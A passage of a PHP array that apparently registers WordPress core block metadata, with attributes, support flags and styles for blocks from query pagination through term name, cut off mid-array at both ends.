'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-numbers', 'title' => 'Page Numbers', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays a list of page numbers for pagination.', 'textdomain' => 'default', 'attributes' => array( 'midSize' => array( 'type' => 'number', 'default' => 2 ) ), 'usesContext' => array( 'queryId', 'query', 'enhancedPagination' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-query-pagination-numbers-editor' ), 'query-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-previous', 'title' => 'Previous Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the previous posts page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-title', 'title' => 'Query Title', 'category' => 'theme', 'description' => 'Display the query title.', 'textdomain' => 'default', 'attributes' => array( 'type' => array( 'type' => 'string' ), 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 1 ), 'levelOptions' => array( 'type' => 'array' ), 'showPrefix' => array( 'type' => 'boolean', 'default' => true ), 'showSearchTerm' => array( 'type' => 'boolean', 'default' => true ) ), 'example' => array( 'attributes' => array( 'type' => 'search' ) ), 'usesContext' => array( 'query' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-query-title' ), 'query-total' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-total', 'title' => 'Query Total', 'category' => 'theme', 'ancestor' => array( 'core/query' ), 'description' => 'Display the total number of results in a query.', 'textdomain' => 'default', 'attributes' => array( 'displayType' => array( 'type' => 'string', 'default' => 'total-results' ) ), 'usesContext' => array( 'queryId', 'query' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-query-total' ), 'quote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/quote', 'title' => 'Quote', 'category' => 'text', 'description' => 'Give quoted text visual emphasis. "In quoting others, we cite ourselves." — Julio Cortázar', 'keywords' => array( 'blockquote', 'cite' ), 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'blockquote', 'multiline' => 'p', 'default' => '', 'role' => 'content' ), 'citation' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'cite', 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'wide', 'full' ), 'html' => false, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'layout' => array( 'allowEditing' => false ), 'spacing' => array( 'blockGap' => true, 'padding' => true, 'margin' => true ), 'interactivity' => array( 'clientNavigation' => true ), 'allowedBlocks' => true ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'plain', 'label' => 'Plain' ) ), 'editorStyle' => 'wp-block-quote-editor', 'style' => 'wp-block-quote' ), 'read-more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/read-more', 'title' => 'Read More', 'category' => 'theme', 'description' => 'Displays the link of a post, page, or any other content-type.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postId' ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'text' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'textDecoration' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalDefaultControls' => array( 'width' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-read-more' ), 'rss' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/rss', 'title' => 'RSS', 'category' => 'widgets', 'description' => 'Display entries from any RSS or Atom feed.', 'keywords' => array( 'atom', 'feed' ), 'textdomain' => 'default', 'attributes' => array( 'columns' => array( 'type' => 'number', 'default' => 2 ), 'blockLayout' => array( 'type' => 'string', 'default' => 'list' ), 'feedURL' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ), 'itemsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => false ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayDate' => array( 'type' => 'boolean', 'default' => false ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ), 'openInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'rel' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => false, 'margin' => false ) ), 'color' => array( 'background' => true, 'text' => true, 'gradients' => true, 'link' => true ) ), 'editorStyle' => 'wp-block-rss-editor', 'style' => 'wp-block-rss' ), 'search' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/search', 'title' => 'Search', 'category' => 'widgets', 'description' => 'Help visitors find your content.', 'keywords' => array( 'find' ), 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', 'role' => 'content' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'placeholder' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ), 'width' => array( 'type' => 'number' ), 'widthUnit' => array( 'type' => 'string' ), 'buttonText' => array( 'type' => 'string', 'role' => 'content' ), 'buttonPosition' => array( 'type' => 'string', 'default' => 'button-outside' ), 'buttonUseIcon' => array( 'type' => 'boolean', 'default' => false ), 'query' => array( 'type' => 'object', 'default' => array( ) ), 'isSearchFieldHidden' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'center', 'right' ), 'color' => array( 'gradients' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => true, 'typography' => array( '__experimentalSkipSerialization' => true, '__experimentalSelector' => '.wp-block-search__label, .wp-block-search__input, .wp-block-search__button', 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'spacing' => array( 'margin' => true ), 'html' => false ), 'editorStyle' => 'wp-block-search-editor', 'style' => 'wp-block-search' ), 'separator' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/separator', 'title' => 'Separator', 'category' => 'design', 'description' => 'Create a break between ideas or sections with a horizontal separator.', 'keywords' => array( 'horizontal-line', 'hr', 'divider' ), 'textdomain' => 'default', 'attributes' => array( 'opacity' => array( 'type' => 'string', 'default' => 'alpha-channel' ), 'tagName' => array( 'type' => 'string', 'enum' => array( 'hr', 'div' ), 'default' => 'hr' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'center', 'wide', 'full' ), 'color' => array( 'enableContrastChecker' => false, '__experimentalSkipSerialization' => true, 'gradients' => true, 'background' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'wide', 'label' => 'Wide Line' ), array( 'name' => 'dots', 'label' => 'Dots' ) ), 'editorStyle' => 'wp-block-separator-editor', 'style' => 'wp-block-separator' ), 'shortcode' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/shortcode', 'title' => 'Shortcode', 'category' => 'widgets', 'description' => 'Insert additional custom elements with a WordPress shortcode.', 'textdomain' => 'default', 'attributes' => array( 'text' => array( 'type' => 'string', 'source' => 'raw', 'role' => 'content' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'html' => false, 'customCSS' => false, 'visibility' => false ), 'editorStyle' => 'wp-block-shortcode-editor' ), 'site-logo' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-logo', 'title' => 'Site Logo', 'category' => 'theme', 'description' => 'Display an image to represent this site. Update this block and the changes apply everywhere.', 'textdomain' => 'default', 'attributes' => array( 'width' => array( 'type' => 'number' ), 'isLink' => array( 'type' => 'boolean', 'default' => true, 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ), 'shouldSyncIcon' => array( 'type' => 'boolean' ) ), 'example' => array( 'viewportWidth' => 500, 'attributes' => array( 'width' => 350, 'className' => 'block-editor-block-types-list__site-logo-example' ) ), 'supports' => array( 'anchor' => true, 'html' => false, 'align' => true, 'alignWide' => false, 'color' => array( 'text' => false, 'background' => false ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ), 'filter' => array( 'duotone' => true ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'selectors' => array( 'filter' => array( 'duotone' => '.wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before' ) ), 'editorStyle' => 'wp-block-site-logo-editor', 'style' => 'wp-block-site-logo' ), 'site-tagline' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-tagline', 'title' => 'Site Tagline', 'category' => 'theme', 'description' => 'Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.', 'keywords' => array( 'description' ), 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 0 ), 'levelOptions' => array( 'type' => 'array', 'default' => array( 0, 1, 2, 3, 4, 5, 6 ) ) ), 'example' => array( 'viewportWidth' => 350, 'attributes' => array( 'textAlign' => 'center' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'contentRole' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'editorStyle' => 'wp-block-site-tagline-editor', 'style' => 'wp-block-site-tagline' ), 'site-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-title', 'title' => 'Site Title', 'category' => 'theme', 'description' => 'Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.', 'textdomain' => 'default', 'attributes' => array( 'level' => array( 'type' => 'number', 'default' => 1 ), 'levelOptions' => array( 'type' => 'array', 'default' => array( 0, 1, 2, 3, 4, 5, 6 ) ), 'textAlign' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true, 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self', 'role' => 'content' ) ), 'example' => array( 'viewportWidth' => 500 ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'editorStyle' => 'wp-block-site-title-editor', 'style' => 'wp-block-site-title' ), 'social-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-link', 'title' => 'Social Icon', 'category' => 'widgets', 'parent' => array( 'core/social-links' ), 'description' => 'Display an icon linking to a social profile or site.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string', 'role' => 'content' ), 'service' => array( 'type' => 'string' ), 'label' => array( 'type' => 'string', 'role' => 'content' ), 'rel' => array( 'type' => 'string' ) ), 'usesContext' => array( 'openInNewTab', 'showLabels', 'iconColor', 'iconColorValue', 'iconBackgroundColor', 'iconBackgroundColorValue' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-social-link-editor' ), 'social-links' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/social-links', 'title' => 'Social Icons', 'category' => 'widgets', 'allowedBlocks' => array( 'core/social-link' ), 'description' => 'Display icons linking to your social profiles or sites.', 'keywords' => array( 'links' ), 'textdomain' => 'default', 'attributes' => array( 'iconColor' => array( 'type' => 'string' ), 'customIconColor' => array( 'type' => 'string' ), 'iconColorValue' => array( 'type' => 'string' ), 'iconBackgroundColor' => array( 'type' => 'string' ), 'customIconBackgroundColor' => array( 'type' => 'string' ), 'iconBackgroundColorValue' => array( 'type' => 'string' ), 'openInNewTab' => array( 'type' => 'boolean', 'default' => false ), 'showLabels' => array( 'type' => 'boolean', 'default' => false ), 'size' => array( 'type' => 'string' ) ), 'providesContext' => array( 'openInNewTab' => 'openInNewTab', 'showLabels' => 'showLabels', 'iconColor' => 'iconColor', 'iconColorValue' => 'iconColorValue', 'iconBackgroundColor' => 'iconBackgroundColor', 'iconBackgroundColorValue' => 'iconBackgroundColorValue' ), 'supports' => array( 'align' => array( 'left', 'center', 'right' ), 'anchor' => true, 'html' => false, '__experimentalExposeControlsToChildren' => true, 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowVerticalAlignment' => false, 'default' => array( 'type' => 'flex' ) ), 'color' => array( 'enableContrastChecker' => false, 'background' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => false ) ), 'spacing' => array( 'blockGap' => array( 'horizontal', 'vertical' ), 'margin' => true, 'padding' => true, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => true, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'contentRole' => true, 'listView' => true ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'logos-only', 'label' => 'Logos Only' ), array( 'name' => 'pill-shape', 'label' => 'Pill Shape' ) ), 'editorStyle' => 'wp-block-social-links-editor', 'style' => 'wp-block-social-links' ), 'spacer' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/spacer', 'title' => 'Spacer', 'category' => 'design', 'description' => 'Add white space between blocks and customize its height.', 'textdomain' => 'default', 'attributes' => array( 'height' => array( 'type' => 'string', 'default' => '100px' ), 'width' => array( 'type' => 'string' ) ), 'usesContext' => array( 'orientation' ), 'supports' => array( 'anchor' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'margin' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-spacer-editor', 'style' => 'wp-block-spacer' ), 'table' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/table', 'title' => 'Table', 'category' => 'text', 'description' => 'Create structured content in rows and columns to display information.', 'textdomain' => 'default', 'attributes' => array( 'hasFixedLayout' => array( 'type' => 'boolean', 'default' => true ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'head' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'thead tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'role' => 'content' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'body' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tbody tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'role' => 'content' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ), 'foot' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'tfoot tr', 'query' => array( 'cells' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => 'td,th', 'query' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'role' => 'content' ), 'tag' => array( 'type' => 'string', 'default' => 'td', 'source' => 'tag' ), 'scope' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'scope' ), 'align' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'data-align' ), 'colspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'colspan' ), 'rowspan' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'rowspan' ) ) ) ) ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'color' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'style' => true, 'width' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'root' => '.wp-block-table > table', 'spacing' => '.wp-block-table' ), 'styles' => array( array( 'name' => 'regular', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'stripes', 'label' => 'Stripes' ) ), 'editorStyle' => 'wp-block-table-editor', 'style' => 'wp-block-table' ), 'tag-cloud' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/tag-cloud', 'title' => 'Tag Cloud', 'category' => 'widgets', 'description' => 'A cloud of popular keywords, each sized by how often it appears.', 'textdomain' => 'default', 'attributes' => array( 'numberOfTags' => array( 'type' => 'number', 'default' => 45, 'minimum' => 1, 'maximum' => 100 ), 'taxonomy' => array( 'type' => 'string', 'default' => 'post_tag' ), 'showTagCounts' => array( 'type' => 'boolean', 'default' => false ), 'smallestFontSize' => array( 'type' => 'string', 'default' => '8pt' ), 'largestFontSize' => array( 'type' => 'string', 'default' => '22pt' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'supports' => array( 'anchor' => true, 'html' => false, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ) ), 'template-part' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/template-part', 'title' => 'Template Part', 'category' => 'theme', 'description' => 'Edit the different global regions of your site, like the header, footer, sidebar, or create your own.', 'textdomain' => 'default', 'attributes' => array( 'slug' => array( 'type' => 'string' ), 'theme' => array( 'type' => 'string' ), 'tagName' => array( 'type' => 'string' ), 'area' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => true, 'html' => false, 'reusable' => false, 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-template-part-editor' ), 'term-count' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-count', 'title' => 'Term Count', 'category' => 'theme', 'description' => 'Displays the post count of a taxonomy term.', 'textdomain' => 'default', 'usesContext' => array( 'termId', 'taxonomy' ), 'attributes' => array( 'bracketType' => array( 'type' => 'string', 'enum' => array( 'none', 'round', 'square', 'curly', 'angle' ), 'default' => 'round' ) ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-term-count' ), 'term-description' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-description', 'title' => 'Term Description', 'category' => 'theme', 'description' => 'Display the description of categories, tags and custom taxonomies when viewing an archive.', 'textdomain' => 'default', 'usesContext' => array( 'termId', 'taxonomy' ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ) ), 'term-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/term-name', 'title' => 'Term Name', 'category' => 'theme', 'description' => 'Displays the name of a taxonomy term.', 'keywords' => array( 'term title' ), 'textdomain' => 'default', 'usesContext' => array( 'termId', 'taxonomy' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 0 ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 